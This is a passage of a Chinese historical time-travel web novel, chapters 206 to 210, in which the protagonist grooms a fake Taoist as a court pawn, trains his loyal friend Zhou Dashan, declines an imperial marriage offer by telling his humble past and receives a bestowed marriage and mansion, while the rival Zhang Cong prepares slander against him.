听到开门声,他猛地抬头,
见到是苏惟瑾,先是一愣,
随即脸上瞬间堆满了敬畏和谄媚交织的表情,
几乎是连滚带爬地从蒲团上起来,
扑通一声就跪下了:
“小道鹤岑,叩见仙师!
仙师福寿无量!”
这就是那个顺德府的假道士,
本名王老五,如今被包装成了“鹤岑道人”。
比起当初那个眼神闪烁、
一身江湖气的模样,
现在倒是多了几分……
故作仙风道骨的别扭感。
看来周大山的“形象管理”课没白上。
苏惟瑾坦然受了他的大礼,
走到主位坐下,语气平淡:
“起来吧。近日修行,可有进益?”
鹤岑道人这才小心翼翼爬起来,
垂手而立,恭敬答道:
“回仙师,蒙仙师赐下无上妙法,
小道日夜研读,不敢有丝毫懈怠。
只是……只是仙法深奥,
小道愚钝,还有许多不明之处。”
他说的“无上妙法”,
是苏惟瑾结合道家术语和一点浅显物理、
化学知识编的“教材”。
“何处不明?”苏惟瑾问。
鹤岑连忙指着册子上的一处:
“便是这‘五行相生,亦可相化,
水能生火(蒸馏收集可燃酒精),
金能生水(冷凝)’……
小道实在难以参透其中玄机。”
苏惟瑾心中了然,
这是到了传授更深入“道法”的时候了。
他示意周大山将带来的一個小箱子打开,
里面是一些玻璃器皿(通过沈香君的渠道从南方弄来的)、
酒精、胆矾、硝石等物。
“今日,便让你见识何为‘造化之工’。”
苏惟瑾挽起袖子,亲自动手。
他先是演示了酒精燃烧产生淡蓝色火焰(叮嘱此为“真火”,需谨慎操控),
又用硝石溶于水吸热制冰(“凝水成冰,乃聚阴之术”),
最后甚至简单组合了一个伏打电池的雏形(用铜片、锌片和盐水),
让鹤岑亲手触摸那微弱的麻刺感(“此乃天地阴阳交感之雷炁,初阶引雷术”)。
这一系列操作,看得鹤岑道人是目瞪口呆,
嘴巴张得能塞进鸡蛋。
尤其是那“引雷术”,
虽然只是微微发麻,
但在他认知里,这已经是神仙手段了!
他看向苏惟瑾的眼神,
已经从敬畏变成了彻底的狂热崇拜,
恨不得立刻抱住苏惟瑾的大腿喊祖师爷。
“仙师!您……
您真是天神下凡啊!”
鹤岑声音都在发抖。
“小道……小道何德何能,
得蒙仙师传授如此无上大道!”
苏惟瑾要的就是这个效果。
他收起“法器”,脸色一肃,
开始进行最关键的思想灌输:
“鹤岑,你需明白。
此法非人人可传,你乃有缘之人。
**此仙法,非为个人长生逍遥,
乃有重任在身。”
鹤岑立刻挺直腰板,
一脸“愿为仙师赴汤蹈火”的表情。
“当今天子,乃紫微星转世,真龙之体。”
苏惟瑾开始编故事。
“然世间浊气弥漫,
且有妖道(暗指邵元节)蒙蔽圣听,
阻碍陛下修行。
你之使命,便是凭借所学,
接近陛下,揭穿妖道,
辅佐真龙感悟天道,泽被苍生。”
鹤岑听得心潮澎湃,
感觉自己瞬间肩负起了拯救世界的重任。
“小道万死不辞!”
“然则,”
苏惟瑾话锋一转,
目光深邃地看着他。
“天道渺茫,
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真龙亦有困顿之时。
你需谨记,暗中需听从另一位‘明主’指引,
方能不负天命。”
他指了指自己。
“我乃受天命指引,
在此世间点化于你,
亦是你在凡间的引路人。
辅佐真龙,与暗随明主,
二者一体,不可偏废。
你可能领会?”
这就是要建立双重忠诚,
确保鹤岑即使得了嘉靖信任,
也不敢背叛自己。
鹤岑脑子已经被“仙法”、“真龙”、“明主”这些高大上的词汇填满了,
只觉得苏惟瑾说什么都是对的,连忙磕头:
“小道明白!仙师便是小道的明主!
小道一切听从仙师安排,绝无二心!
辅佐真龙,暗随明主,
此乃小道无上荣光!”
看着鹤岑那恨不得掏心掏肺表忠心的样子,
苏惟瑾知道,这颗棋子,算是初步炼成了。
虽然还需要更多培训和实战打磨,但底子已经打好。
培训完鹤岑,苏惟瑾又和周大山来到前院。
他仔细检查了周大山这段时间招募和训练的十来个“家丁”,
多是些军中退下来或有武艺底子的老实人。
周大山按照苏惟瑾给的现代军训简化版方法操练,
虽然器械简陋,但队列、纪律已有模有样,
眼神中也有了些精悍之气。苏
惟瑾勉励了几句,
又指点了一些近身格斗的狠辣技巧(基于现代擒拿和人体弱点知识),
要求他们不仅要能看家护院,
关键时刻更要能扮作商队护卫或江湖人士,执行特殊任务。
最后,是重中之重
——密码联络系统。
苏惟瑾将精心设计的密码本
——一本常见的《千家诗》和特定的坐标对应规则
——详细讲解给周大山听。
他用了大量时间,反复测试,
确保周大山这个识字不多但记性极好的汉子能完全理解并熟练运用。
“大山,这是我们保命传讯的根本。”
苏惟瑾神色凝重。
“日后与顺德府那边,
乃至其他可能发展的暗线联络,
皆用此法。
即便信件落入他人之手,
也不过是天书。
切记,只能你一人掌握,绝不可外泄。”
周大山重重点头,拍着胸脯保证:
“公子放心!
俺就是脑袋掉了,
也绝不会把这法子说出去!
以后俺就是公子的影子,
公子指哪,俺打哪!”
一切安排妥当,已是日头偏西。
苏惟瑾悄然离开这处秘密基地,
重新汇入京城熙攘的人流。
他回头望了一眼那掩藏在市井中的小院,心中暗忖:
明线稳扎稳打,暗线也已播下种子。
鹤岑这颗棋子,
将来在嘉靖身边能起到多大作用,
犹未可知,
但至少,一条潜在的、能影响皇帝修道路径的暗线已经埋下。
接下来,就是耐心等待,
浇水施肥,
静待发芽了。
这盘大棋,越来越有意思了。
张璁之流,恐怕还在为朝堂上那点蝇头小利争得头破血流吧?
他们永远不会知道,真正的较量,
早已在另一个维度展开。
第207章 大山的焦虑与成长
榆钱胡同的小院仿佛自成一方天地,
将京城的喧嚣与官场的暗流稍稍隔绝。
香露作坊在沈香君的玲珑手腕和苏婉的细心操持下,
已初具雏形,芸娘调试花露的专注侧影,
偶尔会引来苏惟瑾片刻的驻足。
然而,这份表面的宁静之下,
苏惟瑾能敏锐地察觉到身边最亲近兄弟的变化。
周大山依旧尽职尽责地安排护卫、巡查院落,
那铁塔般的身影仍是小院最可靠的屏障。
但苏惟瑾的超频大脑捕捉到了细节:
往日里,周大山操练完毕,
总会扯着大嗓门跟苏惟虎他们吹牛打屁,
或是围着灶台眼巴巴等开饭。
最近,他却常常一个人蹲在院角,
拿着根树枝在地上无意识地划拉,
眼神望着翰林院方向,有些发直。
甚至有一次,苏惟瑾深夜从书房出来,
还看见他独自坐在台阶上,对着月亮唉声叹气。
这日晚饭后,苏惟瑾将周大山叫到书房。
油灯的光晕将两人的影子拉长,投在墙壁上。
“大山,最近是不是有什么心事?”
苏惟瑾开门见山,
递过去一杯刚沏的热茶。
“我看你有些闷闷不乐。”
周大山接过茶杯,
双手摩挲着温热的杯壁,
黝黑的脸上露出几分窘迫和挣扎。
他吭哧了半天,
才瓮声瓮气地开口,
声音比平时低了好几个度:
“瑾哥儿……我,
我就是觉得……自己挺没用的。”
苏惟瑾没有打断,只是用鼓励的眼神看着他。
周大山像是打开了话匣子,
憋了许久的话一股脑倒了出来:
“你看你现在,是状元爷,
是翰林院的老爷,
天天见的不是尚书就是阁老,
在皇上面前都能说得上话!
前几日对付那张璁,
还有之前训那个假道士……
那些手段,我听着都跟听天书似的。”
他越说越激动,带着点自嘲。
“可我呢?除了能打,能跑腿,还会啥?
护院?现在院子安稳,我这身力气都快生锈了。
跑腿?随便找个机灵点的小厮也能干。
我……我怕我这点本事,
越来越跟不上你的步子,
以后真就成了个吃闲饭的,
给你拖后腿。”
这个憨直的汉子,
将内心的焦虑和自卑赤裸裸地摊开在了兄弟面前。
他亲眼见证苏惟瑾如何从沭阳那个备受欺凌的书童,
一步步走到如今的位置,
手段心智已非他所能及。
这种差距,让他产生了强烈的失落感和危机感。
苏惟瑾静静地听完,
神色变得异常郑重。
他站起身,走到周大山面前,
没有像往常那样拍他肩膀,
而是双手扶住他的双臂,
目光直视着他因为激动而有些发红的眼睛。
“大山,你记住我今日的话。”
苏惟瑾一字一句,
清晰而有力。
“你,周大山,从来不是我苏惟瑾的拖累,
恰恰相反,你是我在这京城龙潭虎穴里,
最硬的那块垫脚石,最稳的那条后路!”
他顿了顿,让话语深深印入对方心中:
“官场上的文章算计,是刀笔;
但能在我性命攸关时,
毫不犹豫挡在我身前的,
是你这双拳头!
能让我毫无保留信任,
托付全家安危、甚至未来身家性命的,
普天之下,只有你周大山!
这份忠义,这份从老家一起摸爬滚打出来的情分,
是再多官职、再大的官威都换不来的!
你是我的臂膀,是我的根基!
若无你在后方稳住,
我焉能在前方放手施为?”
这番话,情真意切,掷地有声,
如同重锤敲在周大山心上。
他怔怔地看着苏惟瑾,
眼圈瞬间就红了,
胸腔里那股憋了许久的郁气,
被这滚烫的信任冲得七零八落。
嘴唇哆嗦着,想说什么,
却一个字也说不出来。
苏惟瑾见他情绪平复了些,
语气转为沉稳:
“而且,谁说你的本事就止于此?
之前去大同,时间紧迫,教你的那些只是应急。
如今局势稍缓,正是我们夯实根基的时候。
光有勇力不够,我们要的是一支能应对各种局面的精锐力量。”
他走到书案前,铺开一张纸,
拿起笔,边画边说:
“从明日起,你和惟虎,
还有挑出来的那八个绝对可靠的弟兄,
我们要进行新一轮的训练。
这次,不止是个人勇武。”
他首先画了几个小圈,用线连接:
“小组协作。
不再是单打独斗,
而是三人或五人为一伍,
各有分工,进攻、掩护、侦察、支援,
要像一个人的五指,收放自如。”
这是将现代特种作战的小组战术思想简化移植。
接着,他又画了些简单的符号:
“简易侦察与反侦察。
如何利用地形隐匿踪迹?
如何识别他人留下的痕迹判断人数、去向?
如何在人群中识别可能的眼线?
如何摆脱跟踪?”
这些技巧,对于未来可能面临的暗中较量至关重要。
然后,他写下“情报”二字:
“我们要建立自己的耳目。
不仅仅是看家护院,
日后‘云裳阁’
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的外围人员,
市井中的三教九流,
都有可能成为我们的信息来源。
你要学会如何筛选、
判断信息的真伪和轻重缓急,
什么消息必须立刻报我知道,
什么可以稍后汇总。”
最后,他强调了纪律和预案:
“一切行动,必须严守秘密,令行禁止。
针对可能出现的各种突发情况,
比如夜间遇袭、重要人物被围、
传递信息受阻等,
我们要预先推演,
制定好几套应对方案,
并进行演练。”
周大山听着苏惟瑾条理清晰的讲述,
看着纸上那些虽然简单却蕴含深意的图示,眼睛越来越亮。
他原本以为自己的能力已经到头,
没想到眼前又打开了一扇新的大门。
这些不再是单纯的打杀,
而是更精妙、更需要动脑子的“手艺”。
“瑾哥儿!我明白了!”
周大山猛地站直身体,
胸膛挺起,之前的颓丧一扫而空,
取而代之的是熊熊燃烧的斗志和求知欲。
“是我钻牛角尖了!
你放心,你教的这些东西,
我一定带着弟兄们玩命地学!
绝不给您丢脸!”
苏惟瑾看着他重燃干劲的样子,
欣慰地笑了:
“好!这才是我认识的周大山!
记住,你的舞台,绝不只是一个护卫首领。
将来,或许是一支秘密力量的统领,
或许是一方事务的掌控者。
我看重的,是你的忠诚,是你的潜力!”
接下来的日子,
榆钱胡同的后院变成了一个特殊的训练场。
周大山如同海绵吸水般,
疯狂学习着苏惟瑾传授的新知识。
他带着苏惟虎和精选的八个弟兄,
练习小组配合,琢磨侦察技巧,
甚至开始尝试着分析沈香君带回来的一些市井流言,判断其价值。
苏惟瑾偶尔会亲自指点,
用超频大脑模拟各种场景,
考验他们的应变能力。
同时,苏惟瑾也开始让周大山逐步接触“云裳阁”部分外围安保工作的安排,
将训练所得应用于实际。
周大山处理起来虽稍显稚嫩,
却极其认真负责,
展现出了不同于以往的管理潜质。
看着周大山在新的领域逐渐找到自信和价值,
眼神中重新焕发出那种熟悉的、
充满干劲的光芒,
苏惟瑾知道,自己最可靠的兄弟,
正在完成一次重要的蜕变。
这份忠诚与成长,
将是他在未来风雨中,
最坚实的盾与最锋利的矛之一。
这远比多认识几个尚书阁老,
更让他感到安心。
第208章 帝心萌牵线,试探陆家妹
西苑丹房,烟雾缭绕依旧,
只是那龙涎香混合着丹砂硫磺的气味,
似乎比往日更浓烈了些。
嘉靖帝朱厚熜今日心情颇佳,
许是刚服食了邵元节新进的“金丹”,
面色透着异样的红润,
盘坐在蒲团上,
看着苏惟瑾小心翼翼地调整着一个小巧的蒸馏器
——这是苏惟瑾“改良”后的版本,
效率更高,出露更纯,美其名曰“聚灵凝露”。
“惟瑾啊,”
嘉靖帝忽然开口,
声音带着一丝慵懒和随意,
目光却似有若无地扫过苏惟瑾。
“你年纪也不小了,
如今身居清要,可有考虑过终身大事?
朕听闻,你家中似乎并无长辈为你张罗?”
苏惟瑾握着琉璃导管的手微微一顿,
心中警铃大作!
来了!
超频大脑瞬间以最高速度运转起来,
分析着皇帝这看似关心实则可能蕴含深意的问话。
他面上不动声色,
甚至恰到好处地露出一丝赧然,
躬身道:
“陛下日理万机,
竟还惦记着臣的私事,
臣……惶恐。
臣确未曾婚配,
家中……也确无长辈操持。”
他刻意在“家中”二字上带了点不易察觉的涩意。
嘉靖帝似乎很满意他这反应,
轻笑一声,用闲聊般的口吻道:
“男大当婚,女大当嫁,有何惶恐?
朕看你就很好。
说起来,陆炳有个妹子,
年岁与你相仿,听闻贤良淑德,
知书达理,倒是堪为良配。”
他顿了顿,
观察着苏惟瑾的表情。
“陆炳是朕的股肱,
你亦是朕看重的人才,
若能结此良缘,倒是一段佳话。”
丹房内侍立的黄锦眼皮微微一动,
旋即恢复如常。
角落里的邵元节,
低垂的眼帘下闪过一丝晦暗不明的光。
苏惟瑾心中却是凛然。
与陆炳联姻?
表面看,是皇帝极大的恩宠,
能瞬间获得锦衣卫指挥使这座大靠山,
权势地位唾手可得。
但超频大脑迅速推演出无数可能:
一旦与陆炳绑死,
自己这“帝心知己”的超然地位将不复存在,
彻底被打上“陆党”烙印。
嘉靖帝多疑,今日能撮合,
明日就能因这层关系心生猜忌。
陆炳此人,是皇权最锋利的刀,
但靠得太近,更容易被刀气所伤。
更何况,他根本无意将自己的婚姻作为**筹码,
芸娘那清秀温婉、带着怯意却又坚韧的面容在他脑中一闪而过。
电光火石间,利弊已然分明。
拒绝,必须拒绝!
但如何拒绝,才能既不拂了皇帝的面子,
不让这难得的信任打折,
又能不得罪权势滔天的陆炳,
甚至……还能再刷一波好感?
他脸上瞬间浮现出极度的“受宠若惊”,
甚至带着点惶恐,
连忙放下手中的器具,
后退一步,深深躬下身:
“陛下!陛下天恩,
臣……臣感激涕零!
陆指挥使乃国之栋梁,
其妹必是名门淑女,
臣……臣何德何能,岂敢高攀?”
先摆出谦卑姿态,缓冲一下。
嘉靖帝摆摆手,似乎觉得他太过拘礼:
“哎,惟瑾不必妄自菲薄,
以你之才,足可匹配。”
苏惟瑾知道,
光靠谦虚是混不过去的了。
他心一横,决定行险一搏,以诚破局!
只见他猛地撩起袍角,
竟是直接跪伏在地,
声音带着一丝刻意压抑却仍能听出的哽咽与沉重:
“陛下!陛下厚爱,
臣……臣五内俱焚!
非臣不愿,实乃……
实乃臣有难言之隐,
更有亏心之事,
不敢玷辱陆氏清名!”
这一下,连嘉靖帝都愣住了,
放下了故作悠闲的姿态,
身体微微前倾:
“哦?有何隐情?
但说无妨,朕为你做主。”
皇帝的八卦之心和掌控欲都被勾了起来。
苏惟瑾抬起头,眼圈微微发红
(超频大脑精准控制面部微表情和血液循环),
目光中充满了追忆的痛苦与真诚的感激,
开始了他精心准备(实则是真实经历加工)的表演:
“陛下容禀……
臣本沭阳军户旁支子弟,
原名苏小九。”
他先从最卑微的出身说起,
增强真实感。
“臣五岁失怙,十岁失恃,与祖父相依为命。
然祖父不久亦撒手人寰,
留下臣孤苦一人,家徒四壁……”
他语速缓慢,带着沉重的悲伤。
“族中叔伯,非但不加怜恤,
反为谋夺微薄家产,
竟做局将臣……
将臣卖与同县富户张家为奴!”
说到这里,他声音颤抖,带着**。
“名为书童,实则为那张家少爷张诚之……之鸾童!
臣虽年幼,亦知廉耻,
誓死不从,几近濒死……”
他略去了穿越的关键,
只强调原身的悲惨和宁死不屈的骨气。
嘉靖帝听着,眉头微蹙,
他自身经历复杂,对亲情既有渴望又有扭曲,
对这种族亲相害之事本能反感。
“就在臣饥寒交迫,
以为必死无疑之时,”
苏惟瑾话锋一转,
语气中注入了温暖的亮色。
“是邻家陈氏芸娘,
其父陈伯康,
本是军中受伤退役的老卒,
家徒四壁,生活已是艰难……
可他们见臣可怜,竟偷偷省下口粮,
芸娘她……她一个弱质女流,
寒冬腊月,将家中仅有的一个热饼,
塞到臣的手中……
陈伯更是将一件虽旧却暖的棉衣披于臣身……”
他描绘着当时的场景,细节生动,情感真挚。
“若非他们雪中送炭,
臣早已是沭阳城外一具枯骨!
后来,臣得蒙天恩,侥幸进学,
他们亦从不挟恩图报,
只在背后默默支持。
芸娘她……性子怯弱,
不善言辞,却对臣不离不弃,
臣在张家为奴时,
她便时常偷偷递些吃食,
臣赴考时,她熬夜为臣缝制鞋袜……
此情此景,历历在目,
臣……臣岂敢或忘!”
说到动情处,苏
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惟瑾声音哽咽,伏地叩首:
“陛下!《后汉书》有云:
‘贫贱之交不可忘,糟糠之妻不下堂’!
臣虽微末,亦读圣贤书,深知此理!
臣之心,早已许于陈氏芸娘!
她虽非名门,却是臣于微末贫贱之时,
唯一给予臣温暖、不离不弃之人!
臣若因今日稍有寸进,
便弃她于不顾,
另攀高枝,与禽兽何异?
臣……臣实在做不到啊!
望陛下体恤臣这点微末之心,
成全臣吧!”
一番话,声情并茂,有理有据,有节有情。
将一个受尽苦难、知恩图报、
重情重义的寒门学子形象塑造得淋漓尽致。
丹房内一片寂静,
只有丹炉中炭火轻微的噼啪声。
黄锦偷偷抬眼,
看到嘉靖帝脸上动容之色。
嘉靖帝自身极其看重“孝”、“礼”(虽然后来扭曲),
对亲情有种复杂的执念。
苏惟瑾这番“贫贱不移,富贵不淫”的表白,
恰恰搔到了他的痒处。
一个对微末时救助自己的女子都能如此情深义重、
不离不弃的臣子,对君主的忠诚,
岂不是更加可靠?
“好!好一个‘贫贱之交不可忘,糟糠之妻不下堂’!”
嘉靖帝猛地一拍大腿,
脸上露出赞赏之色,
甚至带着几分感动。
“惟瑾,朕果然没有看错你!
有情有义,真君子也!
比那些趋炎附势之徒,强过百倍!”
他站起身,亲自走到苏惟瑾面前,虚扶一下:
“起来,快起来!
此事是朕考虑不周,
不知你尚有此等感人肺腑的过往。
如此情深义重,岂能相负?”
他彻底绝口不再提陆家之事,
反而兴致勃勃道:
“这陈氏芸娘,现在何处?”
苏惟瑾顺势起身,恭敬答道:
“回陛下,臣已将她接入京城安置。”
“好!”
嘉靖帝大手一挥。
“此等义举,当予褒扬!
待挑一个良辰吉日,
朕亲自为你二人赐婚!
要让天下人都知道,我大明臣子,
不仅要有才学,
更要有此等重情守义的风骨!”
“臣,叩谢陛下天恩!”
苏惟瑾再次跪倒,
这次是真心实意地松了口气。
危机解除,人设加固,
甚至还赚了一道未来的赐婚圣旨!
这一把,赌赢了!
超频大脑冷静地记录着:
**联姻陷阱已规避,
重情重义人设得到皇帝高度认可并主动宣传,
与陆炳关系避免过早绑定且未得罪(皇帝自己改口,陆炳也无话可说),
芸娘地位得到皇帝背书……
一石数鸟,完美。
看着激动谢恩的苏惟瑾,
嘉靖帝心中愈发满意。
有能力,懂事,还如此重情义,
这样的臣子,用着放心啊。
至于陆炳那边……
他自然会去安抚,
一句“不知者不罪”便可揭过。
这苏惟瑾,果然是颗难得的明珠,
越发显得邵元节等人面目可憎起来。
他瞥了一眼角落里的老道,眼神微冷。
第209章 赐婚殊荣至,宅邸沐皇恩
西苑那场“真情告白”的余波,
比苏惟瑾预想的来得更快,
也更猛烈。
不过三五日功夫,
一道明黄圣旨便在司礼监太监和仪仗的簇拥下,
浩浩荡荡地出了紫禁城,
直抵榆钱胡同那处并不算起眼的小院。
彼时,苏惟瑾正在翰林院当值,
闻讯赶回时,宣旨太监已在小院门口等候多时,
周围更是里三层外三层围满了看热闹的街坊邻居,
个个伸长了脖子,议论纷纷。
“苏修撰接旨——”
宣旨太监拖长了尖细的嗓音,抑扬顿挫。
苏惟瑾连忙整了整衣冠,撩袍跪倒。
身后,得到消息匆忙赶回的苏婉、芸娘一家,
以及周大山等人也呼啦啦跪了一地。
苏婉紧紧挨着芸娘跪着,
感受到芸娘手心的冰凉和身体的微颤,
她悄悄伸出手,用力握住了芸娘的手,
递去一个坚定而鼓励的眼神。
芸娘回望她,眼中泪光闪烁,
却因这支持而稍稍安定。
圣旨内容并不冗长,却字字千钧。
先是褒奖苏惟瑾“忠勤体国,才德兼备”,
接着话锋一转,
提到了他那“感人肺腑”的过往和“贫贱不移”的品性。
“……查有民女陈氏芸娘,秉性贤淑,
于微末时不弃,雪中送炭,情深义重,堪为良配。
朕心甚慰,特赐婚于翰林院修撰苏惟瑾,
择吉日完婚,以彰风化……”
赐婚!皇帝金口玉言,亲自赐婚!
人群中顿时响起一片压抑不住的惊呼和抽气声。
苏婉听到这里,
激动得几乎要叫出声来,
她强忍着,另一只手也握住了芸娘,
用只有两人能听到的声音急促地说:
“芸娘姐姐,你听到了吗?
是赐婚!皇上给你们赐婚了!”
芸娘的泪水终于决堤,
却是因为巨大的幸福,
她反握住苏婉的手,
用力点头,哽咽得说不出话。
这还没完,宣旨太监继续念道:
“……另赏赐京城安定门内黄华坊三进宅邸一座,
以为新婚之用,钦此——”
赐婚外加赏赐宅邸!
这道恩宠,简直浓得化不开了!
“臣,苏惟瑾,叩谢陛下天恩!
万岁万岁万万岁!”
苏惟瑾声音沉稳,
带着恰到好处的激动,叩首谢恩。
在他叩首的瞬间,
目光飞快地扫过身后的芸娘和苏婉,
看到妹妹那激动得通红的小脸和与芸娘紧握的双手,
他心中涌起一股暖流,
嘴角几不可查地向上弯了一下。
宣旨太监将圣旨郑重交到苏惟瑾手中,
脸上堆满了讨好的笑容:
“苏修撰,恭喜恭喜!
陛下对您可是青眼有加啊!
这黄华坊的宅子,可是好地段……”
“有劳公公。”
苏惟瑾示意周大山塞过去一个沉甸甸的荷包。
他们一走,小院门口瞬间就炸开了锅!
议论声、赞叹声如同潮水般涌来。
苏惟瑾拒娶陆炳之妹、
坚守寒微时承诺的事迹,
以惊人的速度在京城流传开来,
他的民间声望瞬间达到了一个新的高峰。
回到小院内,关上门,
隔绝了外面的喧嚣,
院子里的气氛却更加热烈。
“哥!太好了!真是太好了!”
苏婉第一个冲上前,
抓住苏惟瑾的胳膊,
欢喜得又蹦又跳,
全然没了平日里的文静,
小脸上洋溢着发自内心的灿烂笑容。
“我就知道,哥哥和芸娘姐姐一定会有好结果的!
皇上都认可了!”
苏惟瑾宠溺地看着妹妹,
摸了摸她的头:
“这下放心了?”
“嗯!”
苏婉用力点头,
然后转身拉住依旧有些晕乎乎的芸娘。
“芸娘姐姐,以后你就是我名正言顺的嫂嫂了!”
芸娘脸颊绯红,羞得抬不起头,
声如蚊蚋:“婉儿妹妹……”
苏惟瑾走到芸娘面前,
目光温柔而坚定:
“芸娘,圣旨已下,
往后我们便是一家人了。
不必再忧心其他,一切有我。”
芸娘抬起头,泪眼朦胧地看着他,
千言万语堵在胸口,
最终只化作重重的一个点头,
眼中充满了全然的信任和依赖。
苏婉看着哥哥和未来嫂嫂,
眼珠一转,笑嘻嘻地说:
“哥,芸娘姐姐,
我们快去看看皇上赏的大宅子吧!
我都等不及要看看我们以后的新家了!”
她活泼的话语冲散了芸娘最后一丝拘谨和不安,
也让苏惟瑾笑了起来:
“好,这就去。”
消息自然也传到了某些人的耳中。
张璁府邸,书房内。
听到心腹家人的禀报,
张璁先是一愣,
随即脸上露出毫不掩饰的讥讽和……一丝轻松?
“愚不可及!真是愚不可及!”
张璁嗤笑一声,
对坐在下首的几位门生道。
“为了一个乡下女子,
竟拒绝了陆炳的妹妹?
他苏惟瑾是真傻还是假傻?
陆炳是什么人?
那是陛下的奶兄弟,锦衣卫指挥使!
攀上这门亲事,他在朝中便可横着走!
如今倒好,为了一点虚名,自断臂膀!
真是书生之见,迂腐至极!”
一个门生附和道:
“老师所言极是。
苏惟瑾此举,看似清高,实则愚蠢。
得罪了陆炳不说,
还白白浪费了陛下撮合的美意,
将来有他后悔的时候!”
另一个门生却沉吟道:
“老师,学生倒觉得,
此事或许没那么简单。
苏惟瑾能得陛下如此信重,
岂是迂腐之人?
他拒婚陆家,或许正是其高明之处。”
张璁挑眉:
“哦?高明在何处?”
那门生分析道:
“老师请想,苏惟瑾如今圣眷正隆,
靠的是什么?
是‘纯臣’,是‘能干’,
是‘不结党’。
若与陆炳联姻,
他这‘纯臣’的身份还能保住吗?
陛下还能如此毫无芥蒂地信任他吗?
届时,他不过是陆炳姻亲,而非陛下心腹。
如今他拒婚,既全了重情重义的名声,
博得陛下和民间好感,
又保持了自己的独立性,
让陛下更加放心。
此乃以退为进,看似失,实则得啊!”
张璁闻言,眉头紧锁,
仔细一想,似乎确有道理。
但他嘴上不肯认输,冷哼道:
“即便如此,也是冒险!
陆炳岂是易与之辈?
被他记恨上,苏惟瑾日后在朝堂,
怕也是举步维艰!”
话虽如此,他心中那因为苏惟瑾圣眷过隆而产生的嫉恨,
却因对方“自毁长城”的举动而淡去了几分。
一个没有强力外援、仅靠皇帝宠信的臣子,
再能蹦跶,终究根基浅薄,不足为惧。
他甚至开始盘算,
如何利用苏惟瑾“得罪”陆炳这一点,
来做些文章。
然而,张璁不知道的是,
陆炳对此事的反应,
远比他想象的要
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平静。
陆府内,陆炳听完属下汇报,
只是淡淡地“嗯”了一声,
脸上看不出喜怒。
“大哥,那苏惟瑾也太不识抬举了!”
旁边一个陆家子侄愤愤不平道。
“小妹哪点配不上他?他竟敢……”
陆炳抬手打断了他,眼神深邃:
“陛下亲自改口赐婚,
足见对其维护。
苏惟瑾此人,不简单。
他选择那条看似更难的路,未必是蠢。
罢了,此事不必再提,
陛下面前,我自有分寸。”
他心中对苏惟瑾的评价,
反而因此提高了一层。
能拒绝如此诱惑,
清晰自身定位的人,
值得警惕,也……或许值得观察。
外面的风风雨雨,
丝毫影响不到苏惟瑾一行人去看新宅子的好心情。
苏惟瑾带着芸娘一家、
苏婉以及周大山等人,
来到了黄华坊皇帝赏赐的新宅子。
果然如太监所说,三进的院子,
青砖灰瓦,亭台楼阁一应俱全,
虽然不算顶级奢华,
但格局方正,用料扎实。
踏入气派的朱漆大门,穿过影壁,
看到宽敞的庭院和整齐的房舍,
众人都发出惊叹。
苏婉像只快乐的蝴蝶,
兴奋地在前院跑来跑去,
指着东厢房说:
“哥哥,这间屋子光线好,
以后给你做书房!”
又跑到正房前,拉着芸娘的手。
“芸娘姐姐,这正房又大又亮堂,
以后你和哥哥就住这里!”
芸娘被她闹了个大红脸,
嗔怪地看了她一眼,
嘴角却忍不住上扬。
她悄悄打量着这未来要生活的地方,
心中充满了对未来的憧憬和一丝成为女主人的忐忑。
苏惟瑾看着妹妹活泼的身影和芸娘含羞带怯的模样,心中满是温馨。
他走到芸娘身边,低声道:
“喜欢吗?哪里不合意,我们再改。”
芸娘连忙摇头:
“很喜欢,不用改。”
这样好的宅子,是她从前想都不敢想的。
苏婉又跑到后院,
看着那片小小的花园,
已经开始规划:
“这里可以种些花草,
那边搭个葡萄架,
夏天还可以乘凉……”
她转向苏惟瑾,
眼睛亮晶晶的。
“哥,我们什么时候搬过来?
我都等不及要布置我们的新家了!”
“很快就搬。”
苏惟瑾笑道,
“这宅子里里外外,
以后还要你和芸娘多费心打理。”
“放心吧,哥!
包在我和芸娘姐姐身上!”
苏婉拍着胸脯保证,
一副小管家婆的模样,
逗得众人都笑了起来。
陈伯康老夫妇看着孩子们高兴,
也抹着眼泪,脸上露出了欣慰的笑容。
然而苏惟瑾却冷静地评估着此次事件的收益:
**风险规避成功,
重情重义人设稳固并获皇帝背书,
民间声望大幅提升,
获得实质财产(宅邸),
与芸娘关系明朗化且得到最高认可,
潜在对手(张璁)产生误判……
一切都在向好的方向发展。
看着身边笑容灿烂的亲人兄弟,
尤其是妹妹那无忧无虑的笑脸和芸娘眼中对未来的期盼,
苏惟瑾心中涌起一股暖流。
这不仅仅是权谋的胜利,
更是情感的归宿。
皇帝赐婚,宅邸沐恩,
这第一步,他走得稳稳当当。
前路依旧漫长,
但至少此刻,灯火可亲,未来可期。
第210章 张璁急跳墙,搬弄是非反遭殃
皇帝赐婚的殊荣,
如同在京城平静的湖面投下巨石,
涟漪扩散,赞誉纷至。
苏惟瑾那“贫贱不移、富贵不淫”的形象,
被茶馆说书人编成了段子,
被街头百姓交口称赞,
连带着他那“玉衡三宝”和即将开张的香露作坊,都蒙上了一层传奇色彩。
这风头,这声望,看得某些人心里如同被猫爪子挠过一般,又痒又痛。
礼部侍郎张璁,便是其中最坐立难安的一个。
他原本以为苏惟瑾拒婚陆家是自毁长城,愚蠢至极,还暗中窃喜。
可眼看着苏惟瑾非但没有因此失宠,
反而圣眷更隆,民间声望如日中天,
他那点嫉恨便如同野火遇风,越烧越旺。
不行,绝不能任由这小子如此得意下去!
他必须做点什么,把苏惟瑾从那道德高地上拉下来!
机会很快来了。
他那远房亲戚钱梦皋送来了沭阳的张承宗,对于苏惟瑾诋毁的文书证件。
张璁如同闻到腥味的苍蝇,
看着钱梦皋这条线递来了“**”。
几张薄薄的信纸,
上面罗列着苏惟瑾(彼时还是苏小九)的种种“劣迹”:
如何忘恩负义,张家供他吃穿,
他却不知感恩,反咬一口;
如何出身卑贱,军户之子,曾为书童,有辱斯文;
甚至隐晦地暗示其与张家少爷张诚之间有些“不清不楚”的旧怨,
暗示苏惟瑾人品有亏……
张璁捏着这几张纸,如获至宝,
仿佛已经看到了苏惟瑾身败名裂的场景。
他冷笑连连:
“苏惟瑾啊苏惟瑾,
任你巧舌如簧,
这出身卑贱、忘恩负义的污点,
看你还如何洗刷!
陛下再宠信你,
难道还能容忍一个品行有亏之人在翰林院清贵之地?”
他精心挑选了一个嘉靖帝看似心情不错的时机
——一次常朝之后,
众臣尚未完全散去,
他觑准空子,趋步上前,
躬身奏道:
“陛下,臣有本奏。”
嘉靖帝刚因苏惟瑾的“深情厚谊”龙心大悦没几天,
见是张璁,随口道:
“张卿何事?”
张璁深吸一口气,
